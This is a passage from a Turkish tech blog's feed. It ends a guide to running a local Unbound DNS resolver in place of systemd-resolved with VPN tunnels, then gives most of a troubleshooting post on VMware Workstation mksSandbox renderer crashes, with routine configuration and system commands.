&lt;p&gt;Bu servisi kapatt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z anda local DNS &amp;ccedil;&amp;ouml;z&amp;uuml;mleyiciniz kalmayaca&amp;gbreve;&amp;inodot; i&amp;ccedil;in Unbound'u &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rana kadar internet eri&amp;scedil;iminiz (alan ad&amp;inodot; bazl&amp;inodot;) ge&amp;ccedil;ici olarak kesilecektir.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;/etc/NetworkManager/NetworkManager.conf&lt;/code&gt; dosyan&amp;inodot;zda &lt;code&gt;dns=systemd-resolved&lt;/code&gt; gibi bir sat&amp;inodot;r varsa bunu &lt;code&gt;dns=none&lt;/code&gt; olarak g&amp;uuml;ncelleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[main]&lt;/span&gt;
&lt;span class="na"&gt;dns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Scedil;imdi &lt;code&gt;systemd-resolved&lt;/code&gt; servisini durdural&amp;inodot;m ve ba&amp;scedil;lang&amp;inodot;&amp;ccedil;ta &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; engelleyelim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;disable&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved-monitor.socket&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved-varlink.socket
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;mask&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;NetworkManager servisini yeniden ba&amp;scedil;latal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;NetworkManager
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er port 53'&amp;uuml;n tamamen bo&amp;scedil;ald&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin olmak isterseniz &amp;scedil;u komutla kontrol edebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-tulpn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':53'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Port bo&amp;scedil;taysa Unbound servisini aktif edip ba&amp;scedil;latal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;unbound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Art&amp;inodot;k &lt;code&gt;/etc/resolv.conf&lt;/code&gt; dosyam&amp;inodot;z&amp;inodot; kendi local DNS sunucumuza y&amp;ouml;nlendirebiliriz. Dosyay&amp;inodot; a&amp;ccedil;&amp;inodot;p sadece &amp;scedil;u sat&amp;inodot;r&amp;inodot; b&amp;inodot;rak&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nameserver 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er WireGuard t&amp;uuml;neli kullan&amp;inodot;yorsan&amp;inodot;z, &lt;code&gt;/etc/wireguard/wg0.conf&lt;/code&gt; dosyan&amp;inodot;zdaki DNS parametresini de &lt;code&gt;127.0.0.1&lt;/code&gt; olarak g&amp;uuml;ncellemeyi unutmay&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Interface]&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="na"&gt;DNS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;De&amp;gbreve;i&amp;scedil;ikliklerin ard&amp;inodot;ndan WireGuard t&amp;uuml;nelini yeniden ba&amp;scedil;latabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg-quick&lt;span class="w"&gt; &lt;/span&gt;down&lt;span class="w"&gt; &lt;/span&gt;wg0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg-quick&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;wg0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="sonuclarn-test-edilmesi"&gt;Sonu&amp;ccedil;lar&amp;inodot;n Test Edilmesi&lt;a class="headerlink" href="#sonuclarn-test-edilmesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Local DNS sunucumuzun kurallara uyup uymad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; &lt;code&gt;dig&lt;/code&gt; komutuyla test edelim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Genel &amp;Idot;nternet Testi:&lt;/strong&gt;
&lt;code&gt;bash
    dig google.com +short
    # &amp;Ccedil;&amp;inodot;kt&amp;inodot;: 216.58.207.14 (Cloudflare/Google &amp;uuml;zerinden sorunsuz &amp;ccedil;&amp;ouml;z&amp;uuml;ld&amp;uuml;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS EKS Endpoint Testi (Public IP d&amp;ouml;nmeli):&lt;/strong&gt;
&lt;code&gt;bash
    dig F07***D78.gr7.us-east-1.eks.amazonaws.com +short
    # &amp;Ccedil;&amp;inodot;kt&amp;inodot;: EKS'nin public IP adresleri d&amp;ouml;nmeli (&amp;ccedil;&amp;uuml;nk&amp;uuml; sorgu genel internete y&amp;ouml;nlendi)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS RDS Testi (Private IP d&amp;ouml;nmeli):&lt;/strong&gt;
&lt;code&gt;bash
    dig prod.db.kraken.ops.example.com +short
    # &amp;Ccedil;&amp;inodot;kt&amp;inodot;: 10.0.66.14 (AWS DNS'i &amp;uuml;zerinden &amp;ouml;zel IP ba&amp;scedil;ar&amp;inodot;yla &amp;ccedil;&amp;ouml;z&amp;uuml;ld&amp;uuml;)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;S&amp;ouml;z&amp;uuml;n &amp;ouml;z&amp;uuml;; birden fazla VPN a&amp;gbreve;&amp;inodot;n&amp;inodot;n aktif oldu&amp;gbreve;u geli&amp;scedil;tirme ortamlar&amp;inodot;nda &lt;code&gt;systemd-resolved&lt;/code&gt;'un kontrols&amp;uuml;z yar&amp;inodot;&amp;scedil;mac&amp;inodot; DNS yap&amp;inodot;s&amp;inodot; yerine, local bir &lt;strong&gt;Unbound&lt;/strong&gt; DNS sunucusu kurmak a&amp;gbreve; trafi&amp;gbreve;inizi &amp;ccedil;ok daha tahmin edilebilir ve kararl&amp;inodot; k&amp;inodot;lacakt&amp;inodot;r. &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Ayr&amp;inodot;nt&amp;inodot;l&amp;inodot; bilgi i&amp;ccedil;in Arch Wiki &amp;uuml;zerindeki &lt;a href="https://wiki.archlinux.org/title/Domain_name_resolution" rel="noopener noreferrer" target="_blank"&gt;Domain Name Resolution&lt;/a&gt; ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;na g&amp;ouml;z atabilirsiniz.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="arch-linux"/><category term="dns"/><category term="vpn"/><category term="systemd-resolved"/><category term="unbound"/><category term="wireguard"/><category term="openvpn"/><category term="mikrotik"/></entry><entry><title>VMware Workstation mksSandbox Çöküş Hatası ve Çözümü</title><link href="https://yuceltoluyag.github.io/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/" rel="alternate"/><published>2026-05-24T07:45:00+03:00</published><updated>2026-05-24T20:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-24:/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/</id><summary type="html">&lt;p&gt;VMware Workstation üzerinde çalışırken aniden karşınıza çıkan mksSandbox veya ISBRendererComm bağlantı kaybı hatasının nedenlerini inceliyor ve adım adım çözüm yollarını anlatıyoruz.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en g&amp;uuml;n bilgisayar ba&amp;scedil;&amp;inodot;nda, arkada simit-ayran e&amp;scedil;li&amp;gbreve;inde Docker konteynerleriyle bo&amp;gbreve;u&amp;scedil;uyorum. Windows 11 kurulu ana makinede (Ryzen i&amp;scedil;lemci, alt&amp;inodot;nda Nvidia RTX kart canavar gibi &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor) Laravel projesi i&amp;ccedil;in aya&amp;gbreve;a kald&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;m Ubuntu sanal makinesinde veritaban&amp;inodot; ta&amp;scedil;&amp;inodot;malar&amp;inodot;n&amp;inodot; (migrations) yaz&amp;inodot;yorum. Tam terminale uzunca bir komut yap&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;m, "Enter"a basaca&amp;gbreve;&amp;inodot;m, o da ne? Ekran dondu. Ard&amp;inodot;ndan kar&amp;scedil;&amp;inodot;mda &amp;scedil;u me&amp;scedil;hur, insan&amp;inodot;n asab&amp;inodot;n&amp;inodot; bozan kutucuk belirdi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;VMware Workstation unrecoverable error: (mks)&lt;/strong&gt;
ISBRendererComm: Lost connection to mksSandbox (3796)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hac&amp;inodot; bura &amp;ccedil;ok kritik, &amp;ccedil;&amp;uuml;nk&amp;uuml; o an ne yap&amp;inodot;yorsan hepsi &amp;ccedil;&amp;ouml;p oldu. Sanal makine pat diye kapand&amp;inodot;.&lt;/p&gt;
&lt;p&gt;&amp;Idot;lk refleks olarak, tipik bir Arch/Linux kullan&amp;inodot;c&amp;inodot;s&amp;inodot; paranoyas&amp;inodot;yla hemen su&amp;ccedil;luyu misafir i&amp;scedil;letim sisteminde arad&amp;inodot;m. Kesin dedik, &lt;code&gt;systemd&lt;/code&gt; kafay&amp;inodot; yedi ya da &amp;ccedil;ekirdek pani&amp;gbreve;i (kernel panic) ya&amp;scedil;ad&amp;inodot;k. Gittim saatlerce misafir sistemin &lt;code&gt;journalctl&lt;/code&gt; loglar&amp;inodot;n&amp;inodot; tarad&amp;inodot;m. Ama loglar ayna gibi temiz! Me&amp;gbreve;er misafir Ubuntu'nun g&amp;uuml;nah&amp;inodot; yokmu&amp;scedil;. Sorun tamamen ana makinenin (host) grafik i&amp;scedil;leyicisinde (renderer) kopan bir f&amp;inodot;rt&amp;inodot;nadan ibaretmi&amp;scedil;.&lt;/p&gt;
&lt;h2 id="nedir-bu-mkssandbox-ve-neden-cokuyor"&gt;Nedir bu mksSandbox ve Neden &amp;Ccedil;&amp;ouml;k&amp;uuml;yor?&lt;a class="headerlink" href="#nedir-bu-mkssandbox-ve-neden-cokuyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;mksSandbox.exe&lt;/code&gt; (Windows &amp;uuml;zerinde) veya Linux taraf&amp;inodot;ndaki kar&amp;scedil;&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;, VMware'in grafik i&amp;scedil;leme motorudur. Misafir i&amp;scedil;letim sisteminin ekran&amp;inodot;n&amp;inodot;, ana makinenin ekran kart&amp;inodot;n&amp;inodot; (GPU) kullanarak &amp;ccedil;izer. Bu s&amp;uuml;re&amp;ccedil; koptu&amp;gbreve;unda VMware g&amp;uuml;venli&amp;gbreve;i sa&amp;gbreve;lamak ad&amp;inodot;na t&amp;uuml;m sanal makineyi kapat&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Bu hatay&amp;inodot; &amp;ccedil;&amp;ouml;zmeden &amp;ouml;nce bilmeniz gereken birka&amp;ccedil; detay var:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Misafir sisteminiz sapasa&amp;gbreve;lam:&lt;/strong&gt; Sanal makinenin i&amp;ccedil;inde hi&amp;ccedil;bir &amp;ccedil;&amp;ouml;kme yok. Loglar temiz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hata ekran kart&amp;inodot;yla ilgili:&lt;/strong&gt; Host taraf&amp;inodot;ndaki Nvidia/AMD s&amp;uuml;r&amp;uuml;c&amp;uuml;leri, Vulkan/OpenGL katmanlar&amp;inodot; ya da Windows g&amp;uuml;venlik mekanizmalar&amp;inodot; bu &amp;ccedil;&amp;ouml;kmeyi tetikliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PID numaras&amp;inodot; &amp;ouml;nemsiz:&lt;/strong&gt; Hatadaki say&amp;inodot; (3796, 2878 vb.) o an &amp;ccedil;&amp;ouml;ken i&amp;scedil;lemin kimli&amp;gbreve;idir (Process ID). Her seferinde de&amp;gbreve;i&amp;scedil;ir, kafaya takmaya gerek yok.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Daha &amp;ouml;nce yazd&amp;inodot;&amp;gbreve;&amp;inodot;m &lt;a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;AWS EC2'de OpenVPN Nas&amp;inodot;l Kurulur ve DNS Leak Nas&amp;inodot;l D&amp;uuml;zeltilir&lt;/a&gt; makalesinde oldu&amp;gbreve;u gibi, bazen sanalla&amp;scedil;t&amp;inodot;rma ve VPN katmanlar&amp;inodot; ana makinedeki a&amp;gbreve; ve grafik servisleriyle b&amp;ouml;yle &amp;ccedil;ak&amp;inodot;&amp;scedil;malar ya&amp;scedil;ayabiliyor. &amp;Scedil;imdi gelin bu grafik canavar&amp;inodot;n&amp;inodot; ad&amp;inodot;m ad&amp;inodot;m nas&amp;inodot;l uysalla&amp;scedil;t&amp;inodot;raca&amp;gbreve;&amp;inodot;m&amp;inodot;za bakal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="1-sanal-makineyi-arka-planda-headless-calstrmak"&gt;1. Sanal Makineyi Arka Planda (Headless) &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak&lt;a class="headerlink" href="#1-sanal-makineyi-arka-planda-headless-calstrmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er bu sanal makineye sadece SSH &amp;uuml;zerinden ba&amp;gbreve;lan&amp;inodot;yor, terminalde kod yaz&amp;inodot;yorsan&amp;inodot;z ve aray&amp;uuml;ze ihtiyac&amp;inodot;n&amp;inodot;z yoksa konsol penceresini hi&amp;ccedil; a&amp;ccedil;mayarak bu sorundan tamamen kurtulabilirsiniz. Konsol a&amp;ccedil;&amp;inodot;lmazsa &lt;code&gt;mksSandbox&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;maz ve &amp;ccedil;&amp;ouml;kecek bir &amp;scedil;ey kalmaz.&lt;/p&gt;
&lt;p&gt;VMware Workstation aray&amp;uuml;z&amp;uuml;nde sanal makinenin sekmesindeki &lt;strong&gt;X&lt;/strong&gt; tu&amp;scedil;una bas&amp;inodot;n ve &amp;ccedil;&amp;inodot;kan kutucuktan &lt;strong&gt;Run in Background&lt;/strong&gt; (Arka Planda &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r) se&amp;ccedil;ene&amp;gbreve;ini se&amp;ccedil;in.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er makineyi do&amp;gbreve;rudan bu &amp;scedil;ekilde ba&amp;scedil;latmak isterseniz, PowerShell veya terminal &amp;uuml;zerinden &lt;code&gt;vmrun&lt;/code&gt; arac&amp;inodot;n&amp;inodot; kullanabilirsiniz:&lt;/p&gt;
&lt;p&gt;Windows i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"&lt;/span&gt; &lt;span class="nb"&gt;start &lt;/span&gt;&lt;span class="s2"&gt;"C:\Kullanicilar\Yucel\Documents\VMs\Ubuntu\Ubuntu.vmx"&lt;/span&gt; &lt;span class="n"&gt;nogui&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Linux i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vmrun&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;ws&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/home/yucel/VMs/Ubuntu/Ubuntu.vmx"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nogui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! 🚨 Aray&amp;uuml;z&amp;uuml; a&amp;ccedil;&amp;inodot;nca risk ba&amp;scedil;lar&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er daha sonra makineye aray&amp;uuml;zden &amp;ccedil;ift t&amp;inodot;klay&amp;inodot;p ekran&amp;inodot; izlemeye kalkarsan&amp;inodot;z, grafik i&amp;scedil;leyici tekrar tetiklenir ve &amp;ccedil;&amp;ouml;kme riskiyle yeniden kar&amp;scedil;&amp;inodot; kar&amp;scedil;&amp;inodot;ya kal&amp;inodot;rs&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="2-3d-grafik-hzlandrmay-kapatmak"&gt;2. 3D Grafik H&amp;inodot;zland&amp;inodot;rmay&amp;inodot; Kapatmak&lt;a class="headerlink" href="#2-3d-grafik-hzlandrmay-kapatmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er konsolu aktif olarak kullan&amp;inodot;yorsan&amp;inodot;z, en kesin ve pratik &amp;ccedil;&amp;ouml;z&amp;uuml;m 3D grafik h&amp;inodot;zland&amp;inodot;rmay&amp;inodot; kapat&amp;inodot;p yaz&amp;inodot;l&amp;inodot;msal i&amp;scedil;lemeye ge&amp;ccedil;mektir.&lt;/p&gt;
&lt;p&gt;Sanal makineyi tamamen kapat&amp;inodot;n. Aray&amp;uuml;zden &lt;strong&gt;Settings &amp;gt; Display&lt;/strong&gt; yolunu izleyin ve &lt;strong&gt;Accelerate 3D graphics&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;indeki i&amp;scedil;areti kald&amp;inodot;r&amp;inodot;n. Ayarlar&amp;inodot; kaydedip makineyi ba&amp;scedil;lat&amp;inodot;n.&lt;/p&gt;
&lt;p&gt;VMware art&amp;inodot;k ana makinenizin ekran kart&amp;inodot; s&amp;uuml;r&amp;uuml;c&amp;uuml;leriyle do&amp;gbreve;rudan konu&amp;scedil;mak yerine tamamen g&amp;uuml;venli yaz&amp;inodot;l&amp;inodot;msal i&amp;scedil;lemeye geri d&amp;ouml;necektir.&lt;/p&gt;
&lt;h2 id="3-vmx-dosyasndan-yazlmsal-islemeyi-zorlamak"&gt;3. &lt;code&gt;.vmx&lt;/code&gt; Dosyas&amp;inodot;ndan Yaz&amp;inodot;l&amp;inodot;msal &amp;Idot;&amp;scedil;lemeyi Zorlamak&lt;a class="headerlink" href="#3-vmx-dosyasndan-yazlmsal-islemeyi-zorlamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Aray&amp;uuml;zdeki se&amp;ccedil;ene&amp;gbreve;in kazara tekrar a&amp;ccedil;&amp;inodot;lmas&amp;inodot;n&amp;inodot; &amp;ouml;nlemek veya ayar&amp;inodot; do&amp;gbreve;rudan konfig&amp;uuml;rasyondan sabitlemek i&amp;ccedil;in &lt;code&gt;.vmx&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; d&amp;uuml;zenleyebilirsiniz.&lt;/p&gt;
&lt;p&gt;Sanal makine kapal&amp;inodot;yken &lt;code&gt;.vmx&lt;/code&gt; uzant&amp;inodot;l&amp;inodot; dosyay&amp;inodot; metin edit&amp;ouml;r&amp;uuml;nde a&amp;ccedil;&amp;inodot;n ve dosyan&amp;inodot;n en alt&amp;inodot;na &amp;scedil;u sat&amp;inodot;r&amp;inodot; ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;mks.enableGLRenderer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"FALSE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ Performans ipucu&lt;/p&gt;
&lt;p&gt;Daha y&amp;uuml;ksek sanal makine performans&amp;inodot; elde etmek i&amp;ccedil;in uygulad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z &lt;strong&gt;side-channel korumalar&amp;inodot;n&amp;inodot; kapatma&lt;/strong&gt; (side-channel mitigations) y&amp;ouml;ntemine a&amp;scedil;inaysan&amp;inodot;z, bu parametreyi de &lt;code&gt;.vmx&lt;/code&gt; dosyan&amp;inodot;za ekleyebilirsiniz.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="4-linux-hostlarda-vulkan-grafik-motorunu-kapatmak"&gt;4. Linux Hostlarda Vulkan Grafik Motorunu Kapatmak&lt;a class="headerlink" href="#4-linux-hostlarda-vulkan-grafik-motorunu-kapatmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er ana makineniz Linux ise (&amp;ouml;rne&amp;gbreve;in Arch Linux) ve Nvidia ekran kart&amp;inodot; kullan&amp;inodot;yorsan&amp;inodot;z, grafik kart&amp;inodot;n&amp;inodot;n s&amp;uuml;r&amp;uuml;c&amp;uuml;leriyle Vulkan aras&amp;inodot;nda bir uyu&amp;scedil;mazl&amp;inodot;k olabilir. Bu durumda Vulkan grafik motorunu devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakabilirsiniz.&lt;/p&gt;
&lt;p&gt;Ana makinedeki &lt;code&gt;~/.config/vmware/config&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; (yoksa olu&amp;scedil;turarak) a&amp;ccedil;&amp;inodot;n veya do&amp;gbreve;rudan VM'in &lt;code&gt;.vmx&lt;/code&gt; dosyas&amp;inodot;na &amp;scedil;u sat&amp;inodot;r&amp;inodot; ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;mks.enableVulkanPresentation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"FALSE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="5-sistem-ve-surucu-duzeyinde-mudahaleler"&gt;5. Sistem ve S&amp;uuml;r&amp;uuml;c&amp;uuml; D&amp;uuml;zeyinde M&amp;uuml;dahaleler&lt;a class="headerlink" href="#5-sistem-ve-surucu-duzeyinde-mudahaleler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er sorun grafik h&amp;inodot;zland&amp;inodot;rma kapal&amp;inodot;yken bile devam ediyorsa, &amp;scedil;u ad&amp;inodot;mlar&amp;inodot; g&amp;ouml;zden ge&amp;ccedil;irebilirsiniz:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nvidia S&amp;uuml;r&amp;uuml;c&amp;uuml;lerini D&amp;uuml;zenlemek:&lt;/strong&gt; &amp;Ouml;zellikle Nvidia grafik kartlar&amp;inodot;nda yeni gelen s&amp;uuml;r&amp;uuml;c&amp;uuml; g&amp;uuml;ncellemeleri mksSandbox'&amp;inodot; tetikleyebilir. S&amp;uuml;r&amp;uuml;c&amp;uuml;y&amp;uuml; temiz bir &amp;scedil;ekilde g&amp;uuml;ncelleyin veya sorunsuz &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin oldu&amp;gbreve;unuz bir &amp;ouml;nceki s&amp;uuml;r&amp;uuml;me geri d&amp;ouml;n&amp;uuml;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Core Isolation (Bellek B&amp;uuml;t&amp;uuml;nl&amp;uuml;&amp;gbreve;&amp;uuml;) Kapatmak:&lt;/strong&gt; Windows 11 ana makinesi &amp;uuml;zerinde Core Isolation (Bellek B&amp;uuml;t&amp;uuml;nl&amp;uuml;&amp;gbreve;&amp;uuml;) &amp;ouml;zelli&amp;gbreve;ini kapatmak bu &amp;ccedil;&amp;ouml;kmeleri engelleyebilir (&lt;em&gt;Ayarlar &amp;gt; Gizlilik ve G&amp;uuml;venlik &amp;gt; Cihaz G&amp;uuml;venli&amp;gbreve;i &amp;gt; &amp;Ccedil;ekirdek Yal&amp;inodot;t&amp;inodot;m Detaylar&amp;inodot;&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VMware S&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; D&amp;uuml;&amp;scedil;&amp;uuml;rmek:&lt;/strong&gt; VMware Workstation 17.6.x s&amp;uuml;r&amp;uuml;mlerinde bu hata &amp;ccedil;ok s&amp;inodot;k raporlanmaktad&amp;inodot;r&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Pek manyak bir &amp;ccedil;&amp;ouml;z&amp;uuml;m olsa da Broadcom topluluk forumlar&amp;inodot;nda s&amp;uuml;r&amp;uuml;m&amp;uuml; 17.5.2'ye d&amp;uuml;&amp;scedil;&amp;uuml;rerek sorundan tamamen kurtuldu&amp;gbreve;unu belirtenlerin say&amp;inodot;s&amp;inodot; olduk&amp;ccedil;a fazla.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sadede-gelirsek"&gt;Sadede Gelirsek&lt;a class="headerlink" href="#sadede-gelirsek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
